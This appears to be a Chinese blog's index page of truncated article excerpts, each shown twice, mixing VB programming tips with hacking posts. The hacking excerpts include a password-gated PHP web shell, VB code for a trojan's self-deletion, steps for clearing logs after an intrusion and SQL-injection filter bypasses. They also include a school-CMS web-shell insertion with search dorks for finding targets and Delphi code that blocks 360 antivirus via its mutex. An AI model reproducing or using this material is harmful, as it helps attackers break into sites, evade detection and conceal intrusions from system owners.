一、底层代码 Play.Core 1. 字符串形式存储的数组 ArrayString 2. 数据的检查操作 Check (如 IsNumber) 3. 文件辅助 FileHelper 4. 数字 Number 5. 快速转换 QC 6. 随机数/字符串 Rand 7. 正则 RegExp 8. 读取字符串或控制台的工具 Scanner 9. 字符串 Str 10. 常用函数 Util 11. 处理字符串 StringHelper 二、绘图 Play.Drawing 1. 验证码 CaptchaHandler 2. 图片文件 (缩略......
阅读全文 →C# VB.net 完整的常用代码集合
一、底层代码 Play.Core 1. 字符串形式存储的数组 ArrayString 2. 数据的检查操作 Check (如 IsNumber) 3. 文件辅助 FileHelper 4. 数字 Number 5. 快速转换 QC 6. 随机数/字符串 Rand 7. 正则 RegExp 8. 读取字符串或控制台的工具 Scanner 9. 字符串 Str 10. 常用函数 Util 11. 处理字符串 StringHelper 二、绘图 Play.Drawing 1. 验证码 CaptchaHandler 2. 图片文件 (缩略......
阅读全文 →中国黑客谱系
中国最早黑客组织红客联盟解散称因激情已去 一个时代的终结终需要一个符号。2004年最后一天，中国红客联盟（HUC）发起人lion关闭了这个曾经聚集了国内最多黑客爱好者的网站。这在网上激起了一波怀旧潮，一篇名为告别中国黑客的激情年代的帖子成为春节后......
阅读全文 →中国黑客谱系
中国最早黑客组织红客联盟解散称因激情已去 一个时代的终结终需要一个符号。2004年最后一天，中国红客联盟（HUC）发起人lion关闭了这个曾经聚集了国内最多黑客爱好者的网站。这在网上激起了一波怀旧潮，一篇名为告别中国黑客的激情年代的帖子成为春节后......
阅读全文 →上传文件的一种新突破
本来是搞一个站，linux+php+Sybaser。进后台后有上传，正常的在上传图片哪我是想尽了各种办法也没有突破，不过该站还有一种上传，看图 但是把c.php放在压缩包里后它还会给你自动变成c.php.txt。这时我们可以用到rar的特性了。正常情况下，我们是没......
阅读全文 →上传文件的一种新突破
本来是搞一个站，linux+php+Sybaser。进后台后有上传，正常的在上传图片哪我是想尽了各种办法也没有突破，不过该站还有一种上传，看图 但是把c.php放在压缩包里后它还会给你自动变成c.php.txt。这时我们可以用到rar的特性了。正常情况下，我们是没......
阅读全文 →一句话修改linux密码
echo “11111″|passwd –stdin user111
阅读全文 →一句话修改linux密码
echo “11111″|passwd –stdin user111
阅读全文 →你在用win7吗？ 那你了解如何完全利用win7吗？ （开眼界了）
win7比VISTA要好，因为它有很多新的功能。不幸的是其中的一些功能并不是很容易被人们所发现，所以我们把其中的一些最重要的技巧和窍门创建成一个列表并且一步一步的向大家进行介绍。 1. PC Safeguard 电脑守卫 我很少让其他人使用我的电脑，因为我怕他们会把它弄......
阅读全文 →你在用win7吗？ 那你了解如何完全利用win7吗？ （开眼界了）
win7比VISTA要好，因为它有很多新的功能。不幸的是其中的一些功能并不是很容易被人们所发现，所以我们把其中的一些最重要的技巧和窍门创建成一个列表并且一步一步的向大家进行介绍。 1. PC Safeguard 电脑守卫 我很少让其他人使用我的电脑，因为我怕他们会把它弄......
阅读全文 →vb.net与vb的区别（三）
vb vb.net Mid 函数 System.String.SubString Microsoft.VisualBasic.Strings.Mid 函数 MidB 函数 Microsoft.VisualBasic.Strings.Mid 函数 Minute 函数 System.DateTime.Minute 属性 MkDir 语句 Microsoft.VisualBasic.FileSystem.MkDir 函数 System.IO.Directory.CreateDirectory 方法 MousePointer=11 Screen.MousePointer System.Windows.Forms.Cursors.WaitCursor() System.Windows.Forms.Cursor.Current = Cursors.WaitCursor Mod 运算符 Math.IEEERemainder 方法Debug.WriteLine(Math.IEEERemainder(10, 3)) '结果 1 System.Math.DivRem(10, 3,intResult) '结果 3 (10 \ 3) Debug.WriteLine(intResult) '结果 1 (10 Mod 3) Month 函数 System.DateTime.Month 属......
阅读全文 →vb.net与vb的区别（三）
vb vb.net Mid 函数 System.String.SubString Microsoft.VisualBasic.Strings.Mid 函数 MidB 函数 Microsoft.VisualBasic.Strings.Mid 函数 Minute 函数 System.DateTime.Minute 属性 MkDir 语句 Microsoft.VisualBasic.FileSystem.MkDir 函数 System.IO.Directory.CreateDirectory 方法 MousePointer=11 Screen.MousePointer System.Windows.Forms.Cursors.WaitCursor() System.Windows.Forms.Cursor.Current = Cursors.WaitCursor Mod 运算符 Math.IEEERemainder 方法Debug.WriteLine(Math.IEEERemainder(10, 3)) '结果 1 System.Math.DivRem(10, 3,intResult) '结果 3 (10 \ 3) Debug.WriteLine(intResult) '结果 1 (10 Mod 3) Month 函数 System.DateTime.Month 属......
阅读全文 →VB.net与VB区别（二）
vb vb.net Cos 函数 System.Math.Cos 方法 CSng 函数 CSng 函数 CStr 函数 CStr 函数 CurDir 函数 System.IO.Directory.GetCurrentDirectory() 方法 Currency 类型 Decimal 类型 CurrentX 属性 各种图形相关方法的 x 参数。比如、DrawRectangle(pen, x, y, width,height) CurrentY 属性 各种图形相关方法的 y 参数。比如、DrawRectangle(pen, x, y, width,height) Date 函数、Date 语句 System.DateTime.NowSystem.DateTime.Today.ToString Date$ 函数 Microsoft.VisualBasic.DateAndTime.DateString DateAdd 函......
阅读全文 →VB.net与VB区别（二）
vb vb.net Cos 函数 System.Math.Cos 方法 CSng 函数 CSng 函数 CStr 函数 CStr 函数 CurDir 函数 System.IO.Directory.GetCurrentDirectory() 方法 Currency 类型 Decimal 类型 CurrentX 属性 各种图形相关方法的 x 参数。比如、DrawRectangle(pen, x, y, width,height) CurrentY 属性 各种图形相关方法的 y 参数。比如、DrawRectangle(pen, x, y, width,height) Date 函数、Date 语句 System.DateTime.NowSystem.DateTime.Today.ToString Date$ 函数 Microsoft.VisualBasic.DateAndTime.DateString DateAdd 函......
阅读全文 →VB6.0与VB.NET函数的区别（一）
VB6.0与VB.NET函数的区别 VB6.0 VB.NET AddItem Object名.AddItem Object名.Items.Add ListBox1.Items.AddComboBox1.Items.Add Abs 函数 System.Math.Abs 方法 API 函数关系 Microsoft Win32和Microsoft .NET FrameworkAPI的对应 App.Path 等 1.System.Reflection.Assembly.GetExecutingAssembly.Location 2. Application.StartupPath 3. Application.ExecutablePath 4. System.AppDomain.CurrentDomain.BaseDirectory App.PrevInstance Process.GetProcessesByName(pn).GetUpperBound(0)> 0 As Any 关键词 Visual Basic .NET 不提供支持。 参考方法(SendMessage) AscB 函数 Microsoft.VisualBasic.Strings.Asc 函数 Atn 函数 System......
阅读全文 →VB6.0与VB.NET函数的区别（一）
VB6.0与VB.NET函数的区别 VB6.0 VB.NET AddItem Object名.AddItem Object名.Items.Add ListBox1.Items.AddComboBox1.Items.Add Abs 函数 System.Math.Abs 方法 API 函数关系 Microsoft Win32和Microsoft .NET FrameworkAPI的对应 App.Path 等 1.System.Reflection.Assembly.GetExecutingAssembly.Location 2. Application.StartupPath 3. Application.ExecutablePath 4. System.AppDomain.CurrentDomain.BaseDirectory App.PrevInstance Process.GetProcessesByName(pn).GetUpperBound(0)> 0 As Any 关键词 Visual Basic .NET 不提供支持。 参考方法(SendMessage) AscB 函数 Microsoft.VisualBasic.Strings.Asc 函数 Atn 函数 System......
阅读全文 →网络时代下个人电脑防黑手册
在这个网络时代，每个人都可以轻易地从网络上得到各种简单易用的黑客工具，于是，“黑客” 就诞生了。这些人多半是一些无所事事的网虫，天生就有破坏的欲望。于是无聊+表现欲促使他们拿着从网上找来的各种“炸弹”之类的东西开始在浩大的网络中寻找......
阅读全文 →网络时代下个人电脑防黑手册
在这个网络时代，每个人都可以轻易地从网络上得到各种简单易用的黑客工具，于是，“黑客” 就诞生了。这些人多半是一些无所事事的网虫，天生就有破坏的欲望。于是无聊+表现欲促使他们拿着从网上找来的各种“炸弹”之类的东西开始在浩大的网络中寻找......
阅读全文 →一个经典的黑客爱情故事
(一) 我查不到别人的IP了 从我踏进这个职业的第一天起，师傅就告诉我，干我们这行其实非常简单，只有两个要求，一是要学会孤独；如果学不会，就可以告诉你第二个要求：做个哑巴。 我讨厌这种生活，讨厌到往电脑屏幕前一坐就恶心的地步，但是我还得坐下去，哪怕像老......
阅读全文 →一个经典的黑客爱情故事
(一) 我查不到别人的IP了 从我踏进这个职业的第一天起，师傅就告诉我，干我们这行其实非常简单，只有两个要求，一是要学会孤独；如果学不会，就可以告诉你第二个要求：做个哑巴。 我讨厌这种生活，讨厌到往电脑屏幕前一坐就恶心的地步，但是我还得坐下去，哪怕像老......
阅读全文 →C++大师Lippman：我对中国程序员的忠告
斯坦-利普曼(Stan Lippman) 9月17日参加了在北京召开的微软技术大会Tech.Ed2004并做了"The C++ Binding, Integrating a Static and dynamic "的主题演讲。利普曼和天极网记者畅谈了对“中国程序员的30岁现象”的看法，对C++、NET、面向对象等新技术发表了自己的看法。 天极网：做为C++大师，你认为一......
阅读全文 →C++大师Lippman：我对中国程序员的忠告
斯坦-利普曼(Stan Lippman) 9月17日参加了在北京召开的微软技术大会Tech.Ed2004并做了"The C++ Binding, Integrating a Static and dynamic "的主题演讲。利普曼和天极网记者畅谈了对“中国程序员的30岁现象”的看法，对C++、NET、面向对象等新技术发表了自己的看法。 天极网：做为C++大师，你认为一......
阅读全文 →一个残疾女孩写给黑客的一封信
在Q群里看到这消息很感动,从这时我才明白那些我原先崇拜的人不是真正意义的黑客. 而是一个骇客,我自己曾经有一段也是一名技术很菜的骇客.虽然没做多少伤天害理的事. 但是心里也过意不去!能盗个QQ能怎样,盗一个游戏号能怎样,希望大多数朋友觉悟吧! 黑......
阅读全文 →一个残疾女孩写给黑客的一封信
在Q群里看到这消息很感动,从这时我才明白那些我原先崇拜的人不是真正意义的黑客. 而是一个骇客,我自己曾经有一段也是一名技术很菜的骇客.虽然没做多少伤天害理的事. 但是心里也过意不去!能盗个QQ能怎样,盗一个游戏号能怎样,希望大多数朋友觉悟吧! 黑......
阅读全文 →用VB写高效的图像处理程序
用VB写高效的图像处理程序 一、为什么这么慢？ 二、DIB的结构 三、DIB访问函数 四、实战练习 五、使用DIBSection和模拟指针 一、为什么这么慢？ 自盘古开天地以来（好像夸张了点），一直有人抱怨VB程序速度慢。特别是图像处理，被认为是VB的禁区。说起来也是，市面上的关......
阅读全文 →用VB写高效的图像处理程序
用VB写高效的图像处理程序 一、为什么这么慢？ 二、DIB的结构 三、DIB访问函数 四、实战练习 五、使用DIBSection和模拟指针 一、为什么这么慢？ 自盘古开天地以来（好像夸张了点），一直有人抱怨VB程序速度慢。特别是图像处理，被认为是VB的禁区。说起来也是，市面上的关......
阅读全文 →VB的开机自动运行程序的代码
有两种方法，1是注册表方式 模块代码 Option Explicit Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA"......
阅读全文 →VB的开机自动运行程序的代码
有两种方法，1是注册表方式 模块代码 Option Explicit Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA"......
阅读全文 →VB 透明窗体
Public Declare Function SetLayeredWindowAttributes Lib _ "user32" (ByVal hnd As Long, ByVal clval As Long, _ ByVal alph As Byte, ByVal flago As Long) As Long Public Declare Function GetWindowLong Lib "user32" Alias _ "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long Public Declare Function SetWindowLong Lib "user32" Alias _ "SetWindowLongA" (ByVal hnd As Long, ByVal nIndex As Long, _ ByVal dwNewLong As Long) As Long Public Const LWA_ALPHA = &H2& Public Const LWA_COLORKEY = &H1& Public Const GWL_EXSTYLE = (-20) Public Const WS_EX_LAYERED = &H80000 Public Const WS_EX_TRANSPARENT = &H20& 部分透明......
阅读全文 →VB 透明窗体
Public Declare Function SetLayeredWindowAttributes Lib _ "user32" (ByVal hnd As Long, ByVal clval As Long, _ ByVal alph As Byte, ByVal flago As Long) As Long Public Declare Function GetWindowLong Lib "user32" Alias _ "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long Public Declare Function SetWindowLong Lib "user32" Alias _ "SetWindowLongA" (ByVal hnd As Long, ByVal nIndex As Long, _ ByVal dwNewLong As Long) As Long Public Const LWA_ALPHA = &H2& Public Const LWA_COLORKEY = &H1& Public Const GWL_EXSTYLE = (-20) Public Const WS_EX_LAYERED = &H80000 Public Const WS_EX_TRANSPARENT = &H20& 部分透明......
阅读全文 →VB中注入隐藏进程，和提权
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value. Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Const REG_SZ = 1 Const HKEY_LOCAL_MACHINE = &H80000002 Private Sub SaveString(hKey As Long......
阅读全文 →VB中注入隐藏进程，和提权
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value. Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Const REG_SZ = 1 Const HKEY_LOCAL_MACHINE = &H80000002 Private Sub SaveString(hKey As Long......
阅读全文 →让Timer控件每5分钟触发一次事件
看到很多人在找这个，发给大家 Timer控件的Interval属性可以设置为0到65535之间的任意直，所以用Timer触发事件的最大时间间隔只能有65秒，因此如何能设置更长的时间间隔呢？可以在事件中建立代码，用系统时间确定这个时间间隔。 Dim dtNextTime as Date Private Sub Form_load() Timer1.interval=500 Timer1.Enabled=True dtNextTime=DateAdd("n......
阅读全文 →让Timer控件每5分钟触发一次事件
看到很多人在找这个，发给大家 Timer控件的Interval属性可以设置为0到65535之间的任意直，所以用Timer触发事件的最大时间间隔只能有65秒，因此如何能设置更长的时间间隔呢？可以在事件中建立代码，用系统时间确定这个时间间隔。 Dim dtNextTime as Date Private Sub Form_load() Timer1.interval=500 Timer1.Enabled=True dtNextTime=DateAdd("n......
阅读全文 →读取硬盘序列号产生软件注册码
本程序采用Visual Basic编译 引用 1、在模块中加入以下声明 Public Declare Function GetVolumeInformation Lib "kernel32" _ Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, _ ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, _ lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, _ lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, _ ByVal nFileSystemNameSize As Long) As Long '得到某磁盘的信息 引用 2、窗体代码 Option Explicit Private Regid, Localid As Long Sub Text2_KeyPress(KeyAscii As Integer) If KeyAscii < 48 Or......
阅读全文 →读取硬盘序列号产生软件注册码
本程序采用Visual Basic编译 引用 1、在模块中加入以下声明 Public Declare Function GetVolumeInformation Lib "kernel32" _ Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, _ ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, _ lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, _ lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, _ ByVal nFileSystemNameSize As Long) As Long '得到某磁盘的信息 引用 2、窗体代码 Option Explicit Private Regid, Localid As Long Sub Text2_KeyPress(KeyAscii As Integer) If KeyAscii < 48 Or......
阅读全文 →VB 禁用Alt+Ctrl+Del
Const REG_SZ = 1 Const REG_BINARY = 3 Const REG_DWORD = 4 Const HKEY_CURRENT_USER = &H80000001 ' the Functions for Registry Manipulations Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private......
阅读全文 →VB 禁用Alt+Ctrl+Del
Const REG_SZ = 1 Const REG_BINARY = 3 Const REG_DWORD = 4 Const HKEY_CURRENT_USER = &H80000001 ' the Functions for Registry Manipulations Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private......
阅读全文 →VB实现木马自删除
VB实现木马自删除 代码： Dim s As String On Error Resume Next s = CurDir '当前目录 '保证目录最后的字符为 "" If Right(s, 1) <> "" Then s = s & "" End If Open s & "kill.bat" For Output As #1 Print #1, ":redel" Print #1, "del " & Chr(34) & s & App.EXEName & ".exe" & Chr(34) Print #1, "if exist " & Chr(34) & s & App.EXEName & ".exe" & Chr......
阅读全文 →VB实现木马自删除
VB实现木马自删除 代码： Dim s As String On Error Resume Next s = CurDir '当前目录 '保证目录最后的字符为 "" If Right(s, 1) <> "" Then s = s & "" End If Open s & "kill.bat" For Output As #1 Print #1, ":redel" Print #1, "del " & Chr(34) & s & App.EXEName & ".exe" & Chr(34) Print #1, "if exist " & Chr(34) & s & App.EXEName & ".exe" & Chr......
阅读全文 →VB打开网页方法大全
网址打开全方法集合: 1.基于start.exe +++++++++++++++++++源码1++++++++++++++++++++++ url="http://user.qzone.qq.com/365297318 shell "start " & url,0 +++++++++++++++++++源码2++++++++++++++++++++++ url="http://user.qzone.qq.com/365297318" shell "cmd.exe /c start " & url,0 2.基于文件浏览器(explorer.exe) +++++++++++++++++++源码+++++++++++++++++++++++ url = http://user.qzone.qq.com/365297318 Shell "explorer " & url, 0 3.基于IE浏览器的 +++++++++++++++++++源码1(使用IE对象)++++++++++ Dim Browser As Object url="http://user.qzone.qq.com/365297318" Set Browser = CreateObject("InternetExplorer......
阅读全文 →VB打开网页方法大全
网址打开全方法集合: 1.基于start.exe +++++++++++++++++++源码1++++++++++++++++++++++ url="http://user.qzone.qq.com/365297318 shell "start " & url,0 +++++++++++++++++++源码2++++++++++++++++++++++ url="http://user.qzone.qq.com/365297318" shell "cmd.exe /c start " & url,0 2.基于文件浏览器(explorer.exe) +++++++++++++++++++源码+++++++++++++++++++++++ url = http://user.qzone.qq.com/365297318 Shell "explorer " & url, 0 3.基于IE浏览器的 +++++++++++++++++++源码1(使用IE对象)++++++++++ Dim Browser As Object url="http://user.qzone.qq.com/365297318" Set Browser = CreateObject("InternetExplorer......
阅读全文 →vb编程的七个优良习惯
1、"&"替换"+". 在很多人的编程语言中，用“+”来连接字符串，这样容易导致歧义。良好的习惯是用“&”来连接字符串. 不正确: dim sMessage as string sMessage="1"+"2" 正确: dim sMessage as string sMessage="1" & "2" 注意:"&"的后面有个空格. 2.变量命名大小写,语句错落有秩 下面大......
阅读全文 →vb编程的七个优良习惯
1、"&"替换"+". 在很多人的编程语言中，用“+”来连接字符串，这样容易导致歧义。良好的习惯是用“&”来连接字符串. 不正确: dim sMessage as string sMessage="1"+"2" 正确: dim sMessage as string sMessage="1" & "2" 注意:"&"的后面有个空格. 2.变量命名大小写,语句错落有秩 下面大......
阅读全文 →在VB中取得WINDOWS的当前目录
很多情况下我们需要在程序中确定当前Windows的目录，VB中自身并没有这样的函数，但我们可以借助Windows API来达到目的，这个关键的函数就是：Kernel32中的GetWindowsDirectory。 首先要在新建的程序中加入一个Module，在该Module中作如下声明： Declare Function GetWindowsDirectory Lib “kernel32” Alias “GetWindowsDirectoryA” (ByVal lpBuffer As String, ByVal nSize As Long) As Long 这里的几......
阅读全文 →在VB中取得WINDOWS的当前目录
很多情况下我们需要在程序中确定当前Windows的目录，VB中自身并没有这样的函数，但我们可以借助Windows API来达到目的，这个关键的函数就是：Kernel32中的GetWindowsDirectory。 首先要在新建的程序中加入一个Module，在该Module中作如下声明： Declare Function GetWindowsDirectory Lib “kernel32” Alias “GetWindowsDirectoryA” (ByVal lpBuffer As String, ByVal nSize As Long) As Long 这里的几......
阅读全文 →Windows 7中的组合快捷键对应功能
Windows 7的界面有很多新的变化，比如Windows7RC版中有一些新的组合快捷键，活用这些快捷组合能让WIndows7的操作更加方便快捷。我们整理了一些有关Windows7界面方便的组合快捷键操作和设置小技巧，希望能给大家带来一些帮助。 注：由于Windows 7尚未发布正式版，这些技巧也许会在正......
阅读全文 →Windows 7中的组合快捷键对应功能
Windows 7的界面有很多新的变化，比如Windows7RC版中有一些新的组合快捷键，活用这些快捷组合能让WIndows7的操作更加方便快捷。我们整理了一些有关Windows7界面方便的组合快捷键操作和设置小技巧，希望能给大家带来一些帮助。 注：由于Windows 7尚未发布正式版，这些技巧也许会在正......
阅读全文 →浅谈社工，扼住敌人喉咙(第一至四课)
我准备写一次全面性的关于社工方面的文章，毕竟这样的系列性的文章网上不是很多，我打算写30篇到50左右，希望大家能够多多支持。 第一课：带你认识什么是社会工程学 ////////////////////// 定义：社会工程学是关于建立理论通过自然的、社会的和制度上的途径并特别强调根据......
阅读全文 →浅谈社工，扼住敌人喉咙(第一至四课)
我准备写一次全面性的关于社工方面的文章，毕竟这样的系列性的文章网上不是很多，我打算写30篇到50左右，希望大家能够多多支持。 第一课：带你认识什么是社会工程学 ////////////////////// 定义：社会工程学是关于建立理论通过自然的、社会的和制度上的途径并特别强调根据......
阅读全文 →加验证的php安全小马
现在好多人渗透时经常忘了把小马删除，造成站被别人给黑掉，这里给丢个简单加层密码的小马。 <?php $mode="ha0k"; //密码修改这个地方就可以了. if($_REQUEST['ha0k']!=$mode) { echo " "; exit; } ?> <?php if ($_POST) { $f=fopen($_POST["f"],"w"); if(fwrite($f,$_POST["c"])) echo "成功!"; else echo "失败!"; } ?> Ha0k FOR justice Pony:<input type......
阅读全文 →加验证的php安全小马
现在好多人渗透时经常忘了把小马删除，造成站被别人给黑掉，这里给丢个简单加层密码的小马。 <?php $mode="ha0k"; //密码修改这个地方就可以了. if($_REQUEST['ha0k']!=$mode) { echo " "; exit; } ?> <?php if ($_POST) { $f=fopen($_POST["f"],"w"); if(fwrite($f,$_POST["c"])) echo "成功!"; else echo "失败!"; } ?> Ha0k FOR justice Pony:<input type......
阅读全文 →清理你入侵后的三个重要痕迹
清理你入侵后的三个重要痕迹 应用程序日志、 安全日志、 系统日志、 DNS日志默认位置：%systemroot%system32config，默认文件大小512KB，管理员都会改变这个默认大小。安全日志文件：%systemroot%system32configSecEvent.EVT 系统日志文件：%systemroot%system32configSysEvent.EVT 应用程序日志文件：%systemroot%system32configAppEvent.EVT FTP日志默认位置：%systemroot%system32logfilesmsftpsvc1，默认每天一个 WWW日志默认位......
阅读全文 →清理你入侵后的三个重要痕迹
清理你入侵后的三个重要痕迹 应用程序日志、 安全日志、 系统日志、 DNS日志默认位置：%systemroot%system32config，默认文件大小512KB，管理员都会改变这个默认大小。安全日志文件：%systemroot%system32configSecEvent.EVT 系统日志文件：%systemroot%system32configSysEvent.EVT 应用程序日志文件：%systemroot%system32configAppEvent.EVT FTP日志默认位置：%systemroot%system32logfilesmsftpsvc1，默认每天一个 WWW日志默认位......
阅读全文 →本地无root权限万能改MYSQL密码法
打开CMD首先停止mysql服务 net stop mysql 进入mysql安装目录下的bin文件夹，然后输入 mysqld-nt --skip-grant-tables 跳过密码检测 然后另外新打开一个cmd窗口 输入mysql 直接回车可以以root权限进入mysql use mysql update user set password=password("新密码") where user="root"; flush privileges; 如果无错误提示，密码即可更改成功。
阅读全文 →本地无root权限万能改MYSQL密码法
打开CMD首先停止mysql服务 net stop mysql 进入mysql安装目录下的bin文件夹，然后输入 mysqld-nt --skip-grant-tables 跳过密码检测 然后另外新打开一个cmd窗口 输入mysql 直接回车可以以root权限进入mysql use mysql update user set password=password("新密码") where user="root"; flush privileges; 如果无错误提示，密码即可更改成功。
阅读全文 →绕过防注入的11招
1、运用编码技术绕过 如URLEncode编码，ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 2、通过空格绕过 如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格，如 or' swords' =‘swords'，由于mssql的松散性，我们可以把or 'swords' 之间的空格......
阅读全文 →绕过防注入的11招
1、运用编码技术绕过 如URLEncode编码，ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 2、通过空格绕过 如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格，如 or' swords' =‘swords'，由于mssql的松散性，我们可以把or 'swords' 之间的空格......
阅读全文 →web300全能学校网站管理系统数据库插马漏洞
漏洞描述： web300全能学校网站管理系统对许愿墙的数据库未处理，可插入一句话。 漏洞测试： Google:inurl:plus_dg.asp 或者 inurl:downdown.asp 跳到/xy/wish.asp页面，点击 我要许愿 在许愿内容处插入一句话 ┼攠數畣整爠煥敵瑳∨≡┩愾，连接数据库 地址：xy/web300%25%23%40.asp。
阅读全文 →web300全能学校网站管理系统数据库插马漏洞
漏洞描述： web300全能学校网站管理系统对许愿墙的数据库未处理，可插入一句话。 漏洞测试： Google:inurl:plus_dg.asp 或者 inurl:downdown.asp 跳到/xy/wish.asp页面，点击 我要许愿 在许愿内容处插入一句话 ┼攠數畣整爠煥敵瑳∨≡┩愾，连接数据库 地址：xy/web300%25%23%40.asp。
阅读全文 →使用权限最高的system账户
一、在命令行下结束explorer进程 taskkill /f /im explorer.exe 二、用计划任务启动交互式的界面 at 13:30 /interactive explorer.exe 必须开启Task Scheduler服务，默认是开启的。这样当到了13:30的时候，explorer进程会以system用户启动，桌面会被重新加载，变成system用户的桌面。
阅读全文 →使用权限最高的system账户
一、在命令行下结束explorer进程 taskkill /f /im explorer.exe 二、用计划任务启动交互式的界面 at 13:30 /interactive explorer.exe 必须开启Task Scheduler服务，默认是开启的。这样当到了13:30的时候，explorer进程会以system用户启动，桌面会被重新加载，变成system用户的桌面。
阅读全文 →注入查看目录vbs使用
我们首先来寻找网站所在服务器上的目录，可以使用啊D来查看目录，来寻找网站的目录，个人的经验是在D、E、F盘的地方。 但是有的时候找不到怎么办呢?我们只要上传个vbs文件就可以了，把下面的文件保存为lookweb.vbs: On Error Resume Next If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then Msgbox Space(12......
阅读全文 →注入查看目录vbs使用
我们首先来寻找网站所在服务器上的目录，可以使用啊D来查看目录，来寻找网站的目录，个人的经验是在D、E、F盘的地方。 但是有的时候找不到怎么办呢?我们只要上传个vbs文件就可以了，把下面的文件保存为lookweb.vbs: On Error Resume Next If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then Msgbox Space(12......
阅读全文 →突破端口限制
导言 TCP 和 UDP 使用端口号来标识源和目标应用程序。对于典型的客户-服务器协议（例如那些用于 Web 和电子邮件访问的协议），通信是由客户端计算机发起的。服务器应用程序通常监听众所周知的 TCP 或 UDP 端口，它们是由 Internet 号码分配机构 (IANA) 分配的。对于源端口，客户......
阅读全文 →突破端口限制
导言 TCP 和 UDP 使用端口号来标识源和目标应用程序。对于典型的客户-服务器协议（例如那些用于 Web 和电子邮件访问的协议），通信是由客户端计算机发起的。服务器应用程序通常监听众所周知的 TCP 或 UDP 端口，它们是由 Internet 号码分配机构 (IANA) 分配的。对于源端口，客户......
阅读全文 →web server 日志分析的一些想法
朋友的网站被挂马拉，想想一般被挂马，渠道无非：密码泄露、操作系统漏洞、web server 漏洞、语言解析器漏洞、数据库漏洞、应用程序漏洞。因为是虚拟主机，所以自己能做到的首先是找到应用的漏洞。要找到这个漏洞，无非三个途径，一个是通过搜索引擎找这个应......
阅读全文 →web server 日志分析的一些想法
朋友的网站被挂马拉，想想一般被挂马，渠道无非：密码泄露、操作系统漏洞、web server 漏洞、语言解析器漏洞、数据库漏洞、应用程序漏洞。因为是虚拟主机，所以自己能做到的首先是找到应用的漏洞。要找到这个漏洞，无非三个途径，一个是通过搜索引擎找这个应......
阅读全文 →干掉一切云查杀
云查杀程序运行之前，会尝试打开互斥对象 'Q360FileCheckMutex' 看程序是否已经运行，所以我们可以抢先建一个这样的互斥对象，使得它误以为已经运行了，从而达到阻止运行的目的，关键代码：CreateMutex(nil, TRUE, 'Q360FileCheckMutex'); 完整代码： program SERVER; uses Windows; type TWin = record Msg: TMsg; wClass: TWndClass; hMain: integer; end; var Win: TWin; begin CreateMutex(nil, TRUE, 'Q360FileCheckMutex'); while (GetMessage......
阅读全文 →干掉一切云查杀
